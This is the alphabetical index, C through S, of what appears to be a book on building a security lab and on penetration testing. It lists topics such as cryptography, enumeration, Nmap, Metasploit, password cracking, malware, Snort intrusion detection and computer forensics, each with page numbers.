Cipher Feedback (CFB) mode, 229, 230
ciphers, 226–227, 253
Caesar’s, 226, 228
stream, 228, 230
ciphertext-only attack, 251
CIRT. See Computer Incident Response Team
Cisco Discovery Protocol. See CDP
Cisco Intrusion Detection System, 327
Cisco Lightweight EAP (LEAP), 301
Cisco PIX (PIX 501), 26
Cisco routers, 9. See also routers
831-series, 17
console port, 17, 18
411
412
Index
■
C–D
Cisco routers, (continued)
factory-default configuration commands,
18–20
resetting, 17–18
encrypted passwords, cracking, 156
password-recovery procedure, 18
ciscokits.com, 4
The Cleaner, 290
clear text communication, 236
client mode, 294
client-server model, Nessus, 196–197
client-side security tools, 53–55
CNAME record, 119
code, malicious. See malware
Code Red worm, 120, 265–266, 268
codes, 226–227. See also ciphers
Cohen, Fred, 259
color boxes, 6, 7
Common Vulnerabilities and Exposures (CVEs),
175–178, 216
community strings, 151
Companies House, 82
company sales, 14
Computer Emergency Response Team (CERT),
357
computer forensics, 365–403. See also hard drives
acquisition phase, 367–376
antiforensics and, 395
hard drives
drive-wiping, 371–372
file-hiding techniques, 387–391
logical/physical copies, 372–376
removal/fingerprinting, 369–371
steganography, 391–395, 397
hashing and, 377–379
integrity and, 376–377
lab, 366, 377
equipment, 366
security lab v., 367
Computer Fraud and Abuse Act, 264
Computer Incident Response Team (CIRT), 357
Computer Security Emergency Response Team
(CSIRT), 357
‘‘Computer Security Threat Monitoring and
Surveillance,’’ 325
computer viruses. See viruses
computers (for security lab), 8, 11
sheep-dip, 269
used/refurbished, 12, 13–14
confidentiality, integrity, availability (CIA triad),
376–377
console port, Cisco router, 17, 18
Cookie Spy, 79, 80
cookies, 78–79, 80, 97
CoolWebSearch, 278
Core Impact, 213–214, 216
Coroner’s Toolkit, 391, 395
cost metric, 154
CrackBerrys, 304
cracking passwords. See password(s)
CRL. See Certificate Revocation List
crossover error rate (CER), 245
cryptoanalysis, 226
cryptographic key, 227
cryptographic systems, 225–258. See also
authentication
cryptography, 226, 253
asymmetric, 232
cryptology, 226
CrypTool, 255–257
CSIRT. See Computer Security Emergency
Response Team
CSMA/CA (Carrier Sense Multiple Access with
Collision Avoidance), 294
Ctrl + B command, 42
Ctrl + P command, 42
Ctrl + Z command, 42
The Cuckoo’s Egg (Stoll), 325
cURL tools, 172
CVEs. See Common Vulnerabilities and
Exposures
cybercrime, 365, 387, 396
cyber-forensics. See computer forensics
D
DAC. See discretionary access control
DAI. See dynamic ARP inspection
DARPA. See Defense Advanced Research
Projects Agency
Data Encryption Standard. See DES
Davidson, Drew, 262
deauthentication, ARP injection and, 315–316
deauthentication flood attack, 313
decompilers, 5
decryption routine, 263
Defense Advanced Research Projects Agency
(DARPA), 357
defense in depth, Wi-Fi and, 318–319, 321
Defiler’s Toolkit, 395
delay metric, 154
demilitarized zone (DMZ), 327, 328
demon dialer, 68
denial of service (DoS), 82, 114, 281
Wi-Fi, 312–313
Denning, Dorothy, 325, 360
Deraison, Renaud, 195, 197
DES (Data Encryption Standard), 228, 229–230
triple, 230
detecting live systems, 105–147. See also port
scanning
/dev, 40
Index
DHCP (Dynamic Host Configuration Protocol),
25
Dice.com, 81
dictionary password attacks, 171, 180, 181, 249
Diffie, W., 233
Diffie-Hellman, 234–235, 254
man-in-the-middle attacks and, 234
digital certificates, 243–244, 253
Digital Signature Algorithm (DSA), 244
Digital Signature Standards (DSS), 244
digital signatures, 234, 253
digital watermarking, 394–395, 396
direct-sequence spread spectrum (DSSS), 295
disable unneeded services. See turning off
unneeded services
discretionary access control (DAC), 22, 27
disk storage, 9. See also hard drives
distance metric, 155
distributed.net, 47
DMZ. See demilitarized zone
dnb.com, 82
DNS (Domain Name Server), 15, 89–92, 97, 119
cache, 90–91
cache poisoning, 119
FQDNs and, 119
misconfiguration, 92
nslookup and, 92
record types, 91
resolution, 90
role/importance of, 119
root structure, 90–91
domain(s)
identification (exercise), 98
ownership, 84–96
‘‘sucks,’’ 72, 74
top-level, 86
domain controller, 22, 27
Domain Name Server. See DNS
domain registration proxy, 84–85
domainsbyproxy.com, 85
Don’t Fragment field, 132
DoS. See denial of service
Draper, John, 7
drives. See hard drives
drive-wiping programs, 371–372
DSA. See Digital Signature Algorithm
DSHIELD, 89
Dsniff, 55, 309
DSS. See Digital Signature Standards
DSSS. See direct-sequence spread spectrum
dual-speed hubs, 21
dual-use keys, 228
DumpSec, 166, 169–170
Windows enumeration and, 185–186
dumpster diving, 65–66, 97
electronic, 71–74
■
D–E
Dun & Bradstreet, 82
dynamic ARP inspection (DAI), 158, 159
Dynamic Host Configuration Protocol. See DHCP
dynamic ports, 117
dynamic routing protocols, 154, 155
E
EAP (Extensible Authentication Protocol), 300,
321
Cisco Lightweight, 301
-MD5, 301
with Transport Layer Security, 301
with Tunneled TLS, 301
EAPOL (EAP over LAN), 300
key, 301
logoff, 301
packet, 300
start, 300
earth.google.com, 100
eavesdropping, 295. 321, 307–311
password, 309
eBay, 12, 13
ECB mode. See Electronic Codebook mode
ECC. See Elliptic Curve Cryptosystem
Edgar database, 81–82, 97
exercise, 99
EICAR. See European Institute of Computer
Antivirus Research
802.1x authentication, 301
802.11 family of protocols, 294–295
802.11 LAN wireless systems. See Wi-Fi
El Gamal, 235
Electronic Codebook (ECB) mode, 229
electronic dumpster diving, 71–74
eLiTeWrap, 275
Elliptic Curve Cryptosystem (ECC), 235
email
addiction, 303–304
attachments, viruses and, 271
evidence, 383–385
headers, 399
Outlook, 385, 399–400
redirectors, 73
employee blogging, 73, 74
EnCase, 380
encrypted virus body, 263
encryption, 106, 225–236, 253
attacks, 247–252
basic, 78, 97
hybrid, 235–236
Japanese Purple Machine, 247–248
Nessus client-server model and, 197
password, 174
public key, 232–235, 254
SSL and, 197
413
414
Index
■
E–F
encryption, (continued)
symmetric, 226, 227–232
TLS and, 197
weak, 244
Enigma, 226
enumeration, 149–187
advanced, 170–179
defined, 149
goal of, 170, 180
risks, 153
routing, 154–160
Cain & Abel for, 184–185
countermeasures, 158–160
tools, 156–158
SNMP, 150–154, 181–183
countermeasures, 153–154
exercise, 181–183
tools, 152–153
Windows, 161–170
countermeasures, 168–170
with DumpSec, 185–186
IPC$ share and, 164–165
tools, 165–168
epinions.com, 12
equipment destruction attack, 313
erase nvram, 17
Ericsson, 296
ERunAs2X.exe, 178
ESET NOD32 antivirus program, 270
/etc, 40
etc/shadow file, 42, 57
Ethernet
wired, 292
wireless. See Wi-Fi
ethical hacking, 4
Ettercap, 55
European Institute of Computer Antivirus
Research (EICAR), 284
evidence, 356. See also acquisition phase;
trace-evidence analysis
authentication, 376–379
chain of custody and, 368–369
deleted/overwritten files and, 385–386
email, 383–385
lifecycle, 376
suspect and, 367
trace evidence v., 380
‘‘The Evolving Threat,’’ 274
exclusive OR’ing. See XOR
exploit code, 177–178
exploit frameworks, 5
Exploitation Framework, 212, 223
exploiting
Bluetooth, 318
Wi-Fi, 313–318
exploits, Metasploit, 205, 211
ExploitTree, 212, 213
Extensible Authentication Protocol. See EAP
extracting passwords, 248–249
eye-recognition system, 246
F
Facebook, 70
facial scan, 246
fake-document scandal, George Bush, 377
Farmer, Dan, 53, 190, 191
Fast Ethernet 2–1 rule, 21
fast infection viruses, 263
Fedora, 23
fgdump, 248
FHSS. See frequency-hopping spread spectrum
file hiding. See file streaming
file slack, 372, 373, 374
file streaming, 34, 389, 396
exercises, 397–398
file system, Linux, 40–41
File Transfer Protocol. See FTP
file virus infection, 262
file-hiding techniques, hard drive, 387–391
FIN, 116, 117, 121
FIN probe, 134
FIN scan, 122
fingerprint scanners, 246–247
hacking, 246
fingerprint synthesis program, 247
fingerprinting, OS. See OS fingerprinting
Firefox, 279
firewalls, 27, 106
built-in, 139
Cisco PIX, 26
enabling, 139
hardware-based, 9, 26
IPchains, 139
IPtables, 139
Juniper, 26
packet filters. See packet filters
Portsentry, 136
principle of least privilege. See principle of least
privilege
software-based, 9, 26, 136
Sonicwall, 26
spyware and, 279
ZoneAlarm, 136
FireWire hard drives, 9, 25
fixed routing protocols. See static routing
protocols
flags (TCP), 117, 121
flash drives. See thumb drives
FlawFinder, 191
‘flea market’ vendors, 12
Forensic Toolkit (FTK), 380
Index
forensics, 365. See also computer forensics
antiforensics and, 395
digital watermarking and, 394–395, 396
formatting hard drive, 17
forms-based authentication, 78–79, 97
foundstone.com/us/resources-free-tools.asp, 56
FQDNs (fully qualified domain names), 119
fragmentation
attack, overlapping, 115
handling technique, 135
IP and, 114–115, 123–124
‘‘free programs,’’ 279
Freehand, Aldus, 262
frequency-hopping spread spectrum (FHSS),
295–296
Friedman, William Frederick, 247, 248
NSA and, 248
Friendly Pinger, 109
frozentech.com/content/livecd.php, 23, 36, 37
FTK. See Forensic Toolkit
FTP (File Transfer Protocol), 117, 118–119
FTP bounce scan, 123
Full Connect scan, 122
fully qualified domain names. See FQDNs
fuzzy signature matching, 136
G
geektools.com, 88, 100
generators, 234
George Bush fake-document scandal, 377
GetAcct tool, 167
Getad, 178
GetAdmin, 178
Getif, 153
GetUserInfo tool, 167
GFI LANguard, 55, 192–193
Ghost (Symantec), 16, 17, 22, 375
GID. See group ID
global positioning systems (GPS), 292, 302
GNU Privacy Guard (GnuPG), 236
GnuPG. See GNU Privacy Guard
Good Times virus, 264
Google hacking, 83–84, 97, 100–101
router enumeration and, 156
Google Hacking database, 83
Googledork database, 156
gordonbrothers.com, 11
GPS. See global positioning systems
group ID (GID), 162
Guzman, Onel de, 265
H
hacking, 4
Bluetooth, 297
caller ID, 7
■
ethical, 4
fingerprint scanners, 246
Google. See Google hacking
hardware, 5–7
phone, 6–7
software, 4–5
Hacme Bank, 55, 56, 57
HammerofGod, 166
hand geometry, 246
handshake, three-way, 116, 117, 120, 124
hard drives
FireWire, 9, 25
forensics
drive-wiping, 371–372
file-hiding techniques, 387–391
logical/physical copies, 372–376
removal/fingerprinting, 369–371
steganography, 391–395, 397
images/imaging, 16
forensics and, 374–376
Ghost, 16, 17, 22, 375
NTFS partitions for, 23
ReactOS, VMware and, 59–60
True Image, 16, 17, 22
Windows 2000, VMware and, 58–59
NAS and, 9, 25, 27
partition/format, 17
prices, 11
removable, 9, 16, 25
thumb drives, 26, 46, 215, 272, 277, 371
USB, 9, 13, 25
hardware (for security lab)
essential, 8–9
hacker, 5–7
Hardware Compatibility List (HCL), 33
hardware keystroke loggers, 248
hashes, 43, 79, 226, 231–232, 254
calculated, 170–171
defined, 254
forensics and, 377–379
message digests and, 231
precomputed, 170, 173
SHA, 231, 232, 377
HAVAL, 377
HCL. See Hardware Compatibility List
heap-based buffer overflows, 179
Hellman, M., E., 233
heuristic scanning, 270
hidden fields, 76–77, 97
hidden files. See file streaming
HIDSs. See host-based intrusion detection
systems
HijackThis, 280
history command, 42
hoaxes, virus, 264
/home, 40
F–H
415
416
Index
■
H–I
hoovers.com, 82
host-based intrusion detection systems (HIDSs),
136, 326–327. See also intrusion detection
systems
host-to-host layer, 116–117. See also TCP; UDP
HP scandal, 7
Hping2, 54, 96
HTTP (Hypertext Transfer Protocol), 117, 120
hubs, 9
defined, 27
dual-speed, 21
switches v., 21
used, 13
hybrid encryption, 235–236
hybrid password attacks, 171, 181
Hypertext Transfer Protocol. See HTTP
I
I Love You virus, 262, 265, 268
IANA. See Internet Assigned Numbers Authority
iana.net, 100
IBM System/390, 47
ICANN (Internet Corporation for Assigned
Names and Numbers), 85
ICMP (Internet Control Message Protocol), 95,
105, 107–110, 111, 140. See also ping
types and codes, 107
IDEA (International Data Encryption
Algorithm), 228
identification, 236. See also authentication
idle scan, 123–126
of closed port, 125–126
of open port, 124–125
IDScenter, 330, 349–354. See also Snort
configuration, 350–354
general tab, 351
installation, 349–350
log settings, 353
network variables, 352
portscan detection, 353
Snort.conf, 352
test settings, 354
IDSs. See intrusion detection systems
IE History Extractor, 382, 383
IEEE (Institute of Electrical and Electronics
Engineers), 292
IEEE 802.11 LAN wireless systems. See Wi-Fi
IETF. See Internet Engineering Task Force
ifconfig command, 42, 159
IGRP (Interior Gateway Routing Protocol), 156
IIS Server, 93
IKE. See Internet Key Exchange
images/imaging, 16. See also ISO image
forensics and, 374–376
Ghost, 16, 17, 22, 375
NTFS partitions for, 23
ReactOS, VMware and, 59–60
True Image, 16, 17, 22
Windows 2000, VMware and, 58–59
immunitysec.com, 214
‘‘Improving the Security of Your Site by Breaking
into It,’’ 190
in-band signaling, 6
incidence-response process, Snort, 358–360
information gathering, 63–103
defined, 63
domain ownership, 84–96
dumpster diving, 65–66, 97
electronic, 71–74
employee blogging, 73, 74
exercise, 99–100
Google hacking, 83–84, 97, 100–101
router enumeration and, 156
job listings
Internet job boards, 81–83
target web site, 80–81
target web site
About page, 64–68
acquired companies, 65, 82
authentication methods, 77–80, 97
job listings, 80–81
key employees, 68–71
locations, 65–68
source code analysis, 74–77, 97
wardialing, 67–68, 98, 106, 141, 291
wardriving, 66–67, 98, 106, 141, 302–307,
322
infrastructure mode, wireless, 293, 321
initial sequence number (ISN) sampling, 134
Initial Time to Live field, 132
insecure.org, 29, 39, 54
Instant Source, 75
Institute of Electrical and Electronics Engineers.
See IEEE
integrity, computer forensics and, 376–377
integrity verification, 270, 330. See also intrusion
detection systems
Interior Gateway Routing Protocol. See IGRP
internalmemos.com, 72–73, 100
International Data Encryption Algorithm. See
IDEA
Internet Archive, 71
Internet Assigned Numbers Authority (IANA),
82, 84–85, 97
Internet Control Message Protocol. See ICMP
Internet Corporation for Assigned Names and
Numbers. See ICANN
Internet Engineering Task Force (IETF), 84,
107
Internet Explorer, avoidance of, 279
Internet job boards, 81–83
Index
Internet Key Exchange (IKE), 235
Internet layer, 113–116
Internet Protocol. See IP
Internet Protocol identification number. See IPID
Internet service providers. See ISPs
Internet Society, 84
Internet Standard Network Management
Framework, 150
interprocess communication. See IPC
intrusion detection, 326, 360
misuse detection v., 326
Intrusion Detection System, Cisco, 327
intrusion detection systems (IDSs), 63, 106, 136,
321, 325–363
anomaly-based, 329, 360
components, 327
engines, 328–330
host, 136
integrity verification and, 330
network, 21, 136
normal/abnormal activity, 330
one-way data cable, 334, 363
overview, 325–326
pattern-matching, 328–329, 360
port scanning and, 136
possible states, 328
protocol-decoding, 329, 360
signature-based, 328–329
signatures added to, 158, 160
Snort, 29, 54, 136, 160, 320, 330–357. See also
Snort
-Wireless, 320
types, 326–327
wireless, 319–320
intrusion prevention systems (IPSs), 326
IOGEAR, 25
IP (Internet Protocol), 111, 113–115
DF option, 132
fragmentation and, 114–115, 123–124
header, 114, 123–124
TOS option, 132
TTL value, 132
IP addresses, 114
identification (exercise), 98
private, 16, 115
regional distribution of. See Regional Internet
Registries
static, 25
v4, 114
IP Network Browser, 182, 183
IP Security. See IPSec
IPC (interprocess communication), 163–164
SMB and, 163–164
IPC$ share, enumeration and, 164–165
IPchains, 139
ipconfig/displaydns, 91
■
I–L
IPID (Internet Protocol identification number),
124
sampling, 134
IPSec (IP Security), 140, 235, 334
IPSs. See intrusion prevention systems
IPtables, 139
IRGP (Interior Gateway Routing Protocol), 155
iris recognition, 246
ISN sampling. See initial sequence number
sampling
ISO image (BackTrack), 36, 57
converting to bootable CD, 37–39
ISO Recorder Power Toy, 38
ISPs (Internet service providers), 386, 396
ISS Internet Scanner, 193
J
Jackont, Amnon, 260
Jacobs, Irwin, 68
Japanese Purple Machine encryption, 247–248
Jaschan, Sven, 268
job listings
Internet job boards, 81–83
target web site, 80–81
JoeWare, 167
John the Ripper, 29, 55, 156, 172, 179, 251, 252,
257–258
johnny.ihackstuff.com/ghdb.php, 83, 156
Juniper firewalls, 26
K
Karen’s Cookie Viewer, 79
KeenValue, 278
KerbCrack, 175
Kerberos, 118, 174, 175, 238
Kerio Winroute Firewall, 9
key employees (target web site), 68–71
key-exchange protocol, 233, 254
keystroke loggers, 248, 260
Trojan, 260
kickthefog.com/how works.htm, 6
kill command, 42
KillDisk, 372
Kismet, 54, 307, 314. See also wardriving
Klez worm, 267–268
Kmartsucks.com, 74
Knoppix-STD distribution, 37
Knowledge Base, Nessus, 198, 199
KoreK, 299
KVM switch, 9, 25
L
L0phtcrack, 172
Lagerweij, Bart, 46
417
418
Index
■
L–M
laptop security, 68
LCDs, 25
LCP, 310
Ldp executable, 167
leaks, information. See information gathering
LEAP. See Cisco Lightweight EAP
learning applications, 55–56
least privilege principle, 118, 131, 136, 139, 140,
279
legality, of port scanning, 122–123
Lehigh virus, 261
Linux, 15, 36–44. See also specific distributions
access permissions, 40–41
authentication, 239, 240. See also salts
basics, 41–44
bootable security distributions, 23, 37
commands (list), 41
basic, 42
file system, 40–41
installation, 23
BackTrack, 37–39
navigating in, 39–41
password creation, 43–44
Security Enhanced, 23
security-related tools, 29
Windows v., 331
liquidation.com, 11, 13
liquidators.com, 13
live systems, detection of, 105–147. See also port
scanning
LKM (loadable kernel module) rootkits, 276
LM authentication, 238, 239
load metric, 155
loadable kernel module rootkits. See LKM
rootkits
locations
About page, 65–68
of web servers, 95–96
lock picks, 5–6, 27
Look@LAN, 129–130, 143–144, 146
Lowe’s wireless hackers, 66–67
ls command, 42
M
MAC (Media Access Control)
addresses, 112–113, 368, 381, 396
filtering, 314
flooding, 159
spoofing tools, 314
Mac OS X, 38, 44–45
MacMag virus, 262
Macro viruses, 262–263, 265
mail redirectors, 73
mainframe VMs, 47
malicious code. See malware
Malicious Software Removal Tool, 278
malware, 259–290. See also rootkits; spyware;
Trojans; viruses; worms
exercise, 289–290
timeline, 265–268
mame.net, 48
man command, 42
managed objects, 151
Management Information Bases (MIBs), 151
manager, 151
mandatory access control, 22, 27
man-in-the-middle attacks, 78, 116, 158, 251
Diffie-Hellman and, 234
‘‘Manuscript on Deciphering Cryptographic
Messages,’’ 247
master boot record virus infection, 262
mavensecurity.com/webmaven, 56
MBSA (Microsoft Baseline Security Analyzer),
193
McAfee products, 269
AntiSpyware, 280
MD algorithms, 232
MD5 hashing algorithm, 377, 378
MD5sums, 37, 38, 43, 57, 231. See also hashes
message digest and, 79
MDs. See message digests
Melissa virus, 265, 268
trace evidence and, 380–381
memory prices, 11
message digests (MDs)
authentication, 79, 97
hashes and, 231
message integrity check (MIC), 300
Metasploit, 39, 54, 139, 203–212, 215–216
antiforensic tools, 395
BackTrack and, 217–219
exploits, 205, 211
msfcli interface, 211, 216
msfconsole system, 209–211, 216
msfweb interface, 204–209, 216
payloads, 206, 207, 211, 212
updating, 211
Windows XP and, 219–221
metrics, for routing protocols, 154–155
MIBs. See Management Information Bases
MIC. See message integrity check
Michael (MIC), 300
Microsoft Baseline Security Analyzer. See MBSA
Microsoft Outlook
avoidance of, 269
email header, 385, 399–400
Microsoft Windows. See Windows, Microsoft
mirror port, 21
misuse detection, intrusion detection v., 326. See
also intrusion detection systems
MITRE Corporation, 175, 176
Index
/mnt, 40
Mognet, 317
monitors, 25
Monster.com, 81, 83
Morris, Robert, 264
Morris worm, 264, 268, 357
msfcli interface, 211, 216
msfconsole system, 209–211, 216
msfweb interface, 204–209, 216
Multibet.com, 82
multicast MAC addresses, 113
multipartite viruses, 263
mutation engine, 263
mv command, 42
MyDoom worm, 268
MySpace, 70
MySQL, 332, 333
Mythbusters, 246
N
named pipes, 163
NAS. See network-attached storage
NASL (Nessus Attack Scripting Language),
197–198
NATAS virus, 263
National Security Association (NSA), 229
Friedman and, 248
router security configuration, 138
nbtstat, 167–168
NeoTrace, 95, 96
NERO Ultra Edition, 38
Nessus, 29, 54, 139, 192, 195–202, 216
client-server model, 196–197
encryption in, 197
components of, 196–198
inventory of network devices, 199
Knowledge Base, 198, 199
launching scan, 199, 201
NASL, 197–198
plug-in policy, creation of, 199, 200
plug-ins, 197–198
remediate and repair, 201
report analysis, 201, 202
step-by-step review, 198–202
target selection, 199, 200
Nessus Attack Scripting Language. See NASL
net commands, 163–164
NetBIOS (Network Basic Input Output System),
161, 181
name codes, 168
ports/services, 161
NetBus Trojan, 273, 283
Netcat, 54, 102, 290
Netcraft, 93
Netfilter, 55
■
M–N
NetProwler, Symantec, 327
NetRecon, 193
netronline.com, 100
NetScan, 129
Netscreen, 9
Netsky virus, 268
Netstat, 277
NetStumbler, 55, 304–307, 314, 322. See also
wardriving
exercise, 322
network (for security lab), 14–26
adding items to, 25–26
basic design, 15
clean start, 16–17
configuration, 17–21
final, 24
connecting items together, 23–25
firewalls. See firewalls
hard drives. See hard drives
hubs v. switches, 21. See also hubs; switches
Linux installation, 23
Windows XP installation, 21–23, 33–36
network access layer, 112–113
Network Basic Input Output System. See
NetBIOS
network evaluations, 190
Network General, 112
network interface cards. See NICs
network intrusion detection tools, 21, 136
network intrusion mode, 341–342
network jamming attack, 313
network sensors, 327
network-attached storage (NAS), 9, 25, 27
network-based intrusion detection systems
(NIDSs), 326–327. See also intrusion detection
systems
networking tools, 8
networks, virtual, 51–52
NeXT Software, 44
NICs (network interface cards), 293
MAC addresses, 112–113, 368, 381, 396
NIDSs. See network-based intrusion detection
systems
Nikto, 55
Nimda worm, 120, 266–267
Nmap, 22, 39, 116, 126–129, 134, 135
active fingerprinting, 146–147
command switches, 128
port scanning with, 141–142
nonce value, 79
NOP generators, 210
NOP sled, 356
normal mode, 294
Norton AntiVirus, 265, 269
Norton UnErase, 385
NSA. See National Security Association
419
420
Index
■
N–P
nslookup, 92
NStalker Web Application Security Scanner, 192,
221–222
NT File System. See NTFS
NT LAN Manager authentication. See NTLM
authentication
NTFS (NT File System), 397
file streaming and, 34, 389, 396
partitions, 23
NTLM (NT LAN Manager) authentication, 79,
238. See also challenge-response
authentication
NTPASSWD, 248
NULL connection, 163
Null scan, 122
null session tools, 5
O
ODM. See orthogonal division multiplexing
Oechslin, Philippe, 173, 250
OFB mode. See Output Feedback mode
one-way data cable, IDS, 334, 363
one-way functions, 233. See also hashes
online auctions, 12–13
scam, 12
OOB signaling. See out-of-band signaling
open box items, 11
Open Shortest Path First. See OSPF
open source, 37, 45, 56
OpenSSH, 55
OpenVZ, 48, 53, 57
Opera, 279
operating systems. See Linux; Mac OS X;
ReactOS; Windows, Microsoft; Windows PE
Ophcrack, 173
orange box, 6
Organizational Unique Identifier (OUE), 113
orthogonal division multiplexing (ODM), 295,
296
OS fingerprinting, 5, 131–136, 140
active, 131, 134–135, 140
Nmap and, 146–147
Windows 2000, 146–147
passive, 131–134, 140
exercises, 144–146
‘‘Remote OS Detection using TCP/IP
Fingerprinting,’’ 134
risks, 136
tools, 135–136
OS installations, server, 31–47
OS VMs, 47. See also VMware
OSI model, 151
SNMP and, 151
OSPF (Open Shortest Path First), 155
ASS and, 157
HELLO packets, 158
RIP v., 158, 160
SNMP and, 158
Wireshark and, 158
OUE. See Organizational Unique Identifier
Outlook, Microsoft
avoidance of, 269
email header, 385, 399–400
out-of-band (OOB) signaling, 6
Output Feedback (OFB) mode, 229, 230
overlapping fragmentation attack, 115
P
P0f tool, 132–134
packet filters, 137–138. See also access control lists
packet logger mode, 340–341
Packet Storm security, 177
Packetyzer, 112
palm scan, 245
parallel VMs, 47
Paros proxy, 55
partitioning hard drive, 17
passive information gathering. See information
gathering
passive OS fingerprinting, 131–134, 140
exercises, 144–146
passphrases, 236, 239–240, 251, 253, 401, 403
passwd command, 42
password(s), 237–240, 254
authentication, 237–241
cracking, 170–174, 249–250
brute-force attack, 171, 180, 250, 253
calculated hashes, 170–171
dictionary attack, 171, 180, 181, 249
precomputed hashes, 170, 173
RainbowCrack technique, 173, 181, 187, 250,
254–255
tools, 172
creation, Linux, 43–44
defined, 254
eavesdropping, 309. See also eavesdropping
encryption, 174
extracting, 248–249
hashing, 237–240
sniffing, 174–175
hybrid attacks, 171, 181
protecting, 174
recovery procedure, Cisco routers, 18
reusing, 179
sniffers, 21
weak, 179, 237, 248–249, 251–252
patch management, 2, 139, 169, 269, 279
pattern-matching IDSs, 328–329, 360
payloads, Metasploit, 206, 207, 211, 212
PayPalSucks.com, 72
Index
PC Inspector, 385
PC-cillin Internet Security, Trend Micro, 270
PCRE. See Perl-compatible regular expressions
PDC. See Primary Domain Controller
PE Builder Setup Wizard, 46
peer-to-peer programs, 279
Pen test mode, 203
penetration and attack tools, 189–223. See also
vulnerability assessment tools
penetration tests, 190
peoplesearchnow.com, 69
people.yahoo.com, 69
Perl script, 93–94
Perl-compatible regular expressions (PCRE), 356
permissions, access (Linux), 40–41
PestPatrol, 280
PGP (Pretty Good Privacy), 228, 229, 236, 242, 243
phishing attacks, 260, 282
spear, 260
phone hackers (phreakers), 6–7, 27
phone-hacking tools, 6–7
Phrack magazine, 178
phreak boxes, 6, 7
phreakers. See phone hackers
picks, 5–6. See also lock picks
ping, 107–110
drawbacks, 110
packet, 108
sweep tools, 5, 109–110
Pinger, 109
ping-of-death attack, 113, 114
PipeupAdmin, 178
pivoting, 214
PIX 501. See Cisco PIX
PKI. See public key infrastructure
pmi.org, 14
polymorphic viruses, 263
port knocking, 136–137, 140
port redirection tools, 5
port scanning, 4–5, 105, 111, 140, 291
countermeasures, 136–139
IDS and, 136
legality, 122–123
with Nmap, 141–142. See also Nmap
risks, 130–131
with SuperScan, 142–143, 144, 145. See also
SuperScan
techniques, 122
advanced, 123–126
tools, 126–131
ports
blocking, 169
closed, idle scan of, 125–126
common, list of, 118
dynamic, 117
open, idle scan of, 124–125
■
P–R
registered, 117
TCP/UDP, number of, 117, 120
well-known, 117
Portsentry, 136
precomputed hashes, 170, 173
Pretty Good Privacy. See PGP
pricing, hard drive/memory, 11
Primary Domain Controller (PDC), 165
principle of least privilege, 118, 131, 136, 139, 140,
279
Privacy Rights Clearinghouse, 69
private IP addressing, 16, 115
Process Viewer, 277, 290
process-to-process communication. See IPC
project management, 14
promiscuous mode, 133, 158, 159, 308, 321, 327
proprietary routing protocols, 155–156
protocol analyzers (sniffers), 21, 22, 112, 159. See
also Packetyzer; Sniffer; Wireshark
protocol stack, 111, 112
protocol-decoding IDS, 329, 360
protocols. See specific protocols
ps command, 42, 277
PSH, 116, 121
public key authentication, 242
public key encryption (asymmetric encryption),
232–235, 254
public key infrastructure (PKI), 197, 216, 242–244
publicdata.com, 100
PurityScan, 278
Purple Machine encryption, Japanese, 247–248
pwd command, 42
Pwdump, 248, 251, 252
Q
QualysGuard, 193
Queso, 135
R
RA. See Registration Authority
RADIUS, 301
‘‘rain doll.’’ See Rijndael
rainbow table, 173, 250
RainbowCrack technique, 173, 181, 187, 250,
254–255
RAM resident viruses, 263
RATS. See Rough Auditing Tool for Security
RC4 (Rivest Cipher 4), 228
RC5 (Rivest Cipher 5), 228
ReactOS, 45
image, VMware and, 59–60
read community string, 151
read/write community string, 152
ready-to-send (RTS), 294
421
422
Index
■
R–S
RealSecure, 327
red box, 6
Red Hat Enterprise Linux, 23
RedFang, 318
redirectors, email, 73
refurbished. See used/refurbished
Regional Internet Registries (RIRs), 88–89, 97
regional settings, Windows XP, 35
registered ports, 117
Registration Authority (RA), 243
relative identifiers (RIDs), 162, 181
reliability metric, 155
reload, 17
‘‘Remote OS Detection using TCP/IP
Fingerprinting,’’ 134
removable hard drives, 9, 16, 25
repeater mode, 294
repent program, 54
replay attack, 251
report analysis (IDS), 327
Request for Comments. See RFCs
Research in Motion, 303
response box, 327
Restrict Anonymous settings, 169
Retina, 55, 193
retina pattern, 246
reviews/audits, 190
reviews.cnet.com, 12
RFCs (Request for Comments), 84, 107, 140, 378,
384, 397
RIDs. See relative identifiers
Rijndael, 228, 231
RIP (Routing Information Protocol), 155
OSPF v., 158, 160
problems with, 157
RIRs. See Regional Internet Registries
Rivest Cipher 4. See RC4
Rivest Cipher 5. See RC5
Rivest, Ronald, 232, 233, 377, 378
rm command, 42
rm -r command, 42
robots.txt, 71
Roesch, Martin, 330
rogue WAPs, 311–312, 321
root, 41
Rootkit Hunter, 277
exercise with, 285–289
rootkits, 276–278, 283, 284, 395, 397
exercise, 285–289
LKM, 276
risk, 278
Trojanized, 276
Rough Auditing Tool for Security (RATS), 191
route spoofing, 156
routers, 9, 154–156. See also Cisco routers
defined, 27
enumeration, 154–160
countermeasures, 158–160
tools, 156–158
packet filters and, 137–138
security, 137–139
TFTP and, 160
used, 14
wireless. See wireless access points
Routing Information Protocol. See RIP
routing protocols, 154–156
dynamic, 154, 155
metrics for, 154–155
proprietary, 155–156
static (fixed), 154, 155
Roxio Easy Media Creator Suite, 38
RPC scan, 123
RPCDump, 167
RSA, 233–234
RSTs, 117, 121, 124, 125
RTM worm, 264, 268
RTS. See ready-to-send
S
SafeBack, 375. See also images/imaging
SAFER (Secure and Fast Encryption Routine), 229
SAINT (Security Administrator’s Integrated
Network Tool), 54, 193
salts, 43–44, 57, 239, 240, 252
SAM (Security Accounts Manager), 161
extraction with BackTrack, 187
Samhain, 327
SamSpade, 87, 100, 384, 400
samspade.org, 88, 100
SANTA, 54
SARA (Security Auditor’s Research Assistant),
54, 193
Saran Wrap, 275
Sasser worm, 268
SATAN (Security Administrator Tool for
Analyzing Networks), 53–54, 190–191
/sbin, 40
scam auctions, 12
Scan program, 291
ScanDisk, 17, 27
ScoopLM, 175, 179
Scores virus, 262
scrapping, 6
sec.gov, 81
Sechole, 178
secret key encryption. See symmetric encryption
sectools.org, 54
Secure and Fast Encryption Routine. See SAFER
secure hash. See SHA
Secure Shell. See SSH
Secure Sockets Layer. See SSL
Index
security, 1, 360
DAC, 22, 27
defined, 1
IDS. See intrusion detection systems
laptop, 68
leaks. See information gathering
real, 360
router, 137–139
share-level, 22
user-level, 22
Wi-Fi. See Wi-Fi
Security Accounts Manager. See SAM
Security Administrator Tool for Analyzing
Networks. See SATAN
Security Administrator’s Integrated Network
Tool. See SAINT
Security Auditor’s Research Assistant. See SARA
Security Enhanced Linux (SELinux), 23
security identifiers (SIDs), 162, 181
security lab
assembling, 14–26
reasons for, 2–4
checklist, 28–29
computer forensics lab v., 367. See also
computer forensics
hacker software, 4–5
